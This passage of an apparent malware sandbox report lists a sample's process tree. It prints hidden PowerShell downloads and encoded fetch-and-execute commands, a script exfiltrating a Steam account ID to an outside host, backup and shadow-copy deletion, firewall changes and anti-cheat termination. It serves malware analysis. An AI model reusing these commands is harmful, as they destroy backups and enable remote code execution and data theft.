        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:300
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4804
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:C: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:4808
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2240
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:D: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:3100
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5436
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:692
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://150.241.94.206/uploads/Faceit/berserk/asd.exe' -OutFile 'C:\Program Files\WindowsOptions\asd.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5736
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIABoAHQAdABwAHMAOgAvAC8AYgBlAHIAcwBlAHIAawAuAHIAaQBwAC8AbwBuAGMAbwBuAG4AZQBjAHQALgBwAHMAMQAgAHwAIABpAGUAeAA=
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAdAByAHkAewAkAHAAPQAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAFYAYQBsAHYAZQBcAFMAdABlAGEAbQAnACkALgBTAHQAZQBhAG0AUABhAHQAaAA7ACQAdgA9AEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHAAIAAnAGMAbwBuAGYAaQBnAFwAbABvAGcAaQBuAHUAcwBlAHIAcwAuAHYAZABmACcAKQAgAC0AUgBhAHcAOwAkAGkAZAA9AFsAcgBlAGcAZQB4AF0AOgA6AE0AYQB0AGMAaABlAHMAKAAkAHYALAAnACgAPwBtAHMAKQAiACgAPwA8AGkAZAA+AFwAZAB7ADEANwB9ACkAIgBcAHMAKgBcAHsAKAA/ADwAZABhAHQAYQA+AC4AKgA/ACkAXgBcAHMAKgBcAH0AJwApAHwAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAewAkAF8ALgBHAHIAbwB1AHAAcwBbACcAZABhAHQAYQAnAF0ALgBWAGEAbAB1AGUAIAAtAG0AYQB0AGMAaAAgACcAIgBNAG8AcwB0AFIAZQBjAGUAbgB0ACIAXABzACsAIgAxACIAJwB9AHwAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7ACQAXwAuAEcAcgBvAHUAcABzAFsAJwBpAGQAJwBdAC4AVgBhAGwAdQBlAH0AOwBpAGYAKAAkAGkAZAApAHsAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAPQB7ACQAdAByAHUAZQB9ADsAJABqAHMAbwBuAD0AJwB7ACIAYwBsAGkAZQBuAHQASQBkACIAOgAiAFcAQgBPAE0AUgBRAFIAQgBfADUAMgAwADMANAA2ADYAOQAiACwAIgBzAHQAZQBhAG0ASQBkACIAOgAiACcAKwAkAGkAZAArACcAIgB9ACcAOwAkAHcAYwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACcALAAnAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AJwApADsAJAB3AGMALgBVAHAAbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHMAdAByAGUAYQBtAC4AYgBlAHIAcwBlAHIAawAuAG8AbgBlAC8AYQBwAGkALwBzAGEAdgBlAC0AcwB0AGUAYQBtAC0AaQBkACcALAAnAFAATwBTAFQAJwAsACQAagBzAG8AbgApAH0AfQBjAGEAdABjAGgAewB9AA==
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5844
  - - C:\Program Files\WindowsOptions\nvidia_dr64.exe
      "C:\Program Files\WindowsOptions\nvidia_dr64.exe"
      4⤵
      Executes dropped EXE
      Modifies trusted root certificate store through registry
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:1520
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-NetFirewallRule -DisplayName 'nvidia' -ErrorAction SilentlyContinue | Remove-NetFirewallRule"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5692
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName 'nvidia' -Direction Inbound -Program 'C:\Program Files\WindowsOptions\nvidia_d64.exe' -Action Allow -Profile Any"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5568
    - - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:668
      - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        6⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4740
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITClient.exe
        7⤵
        Kills process with taskkill
        
        PID:4128
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM faceit.exe
        7⤵
        Kills process with taskkill
        
        PID:5072
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITService.exe
        7⤵
        Kills process with taskkill
        
        PID:4532
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:5928
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4316
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2340
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5520
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1496
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:984
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4808
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4308
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2596
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:3560
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1524
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5672
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3192
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:328
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2868
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1268
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4860
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4280
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3624
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4808
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4768
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5928
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3424
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4416
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4816
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1996
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:388
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2392
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5520
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2888
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5684
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5012
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1828
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4860
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3128
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2332
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2716
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4768
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1308
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:5276
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6120
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:6116
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1496
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2452
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5224
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1724
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4336
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2716
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2508
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1924
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:316
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1840
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2868
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2808
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1944
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1268
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1488
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1852
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5420
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4164
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:3148
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2996
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4608
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:5684
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:3456
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3772
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5884
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1144
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:3136
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2572
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2508
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5740
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:400
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4500
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5616
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2808
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1268
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1488
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4280
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4972
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1724
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3052
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2572
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1924
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1080
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:3520
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:5352
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2988
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4532
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:3772
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5796
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4464
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2904
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:3228
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5056
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:5516
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5672
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3448
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3020
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5764
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:52
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:3008
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4112
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4868
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4456
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:5300
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1196
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4416
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:1576
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4256
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4768
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5880
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1484
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:5532
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5672
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4212
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2744
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2316
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1640
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4488
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4624
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:5416
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5620
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:2856
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Enumerates processes with tasklist
        
        PID:4516
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3472
        
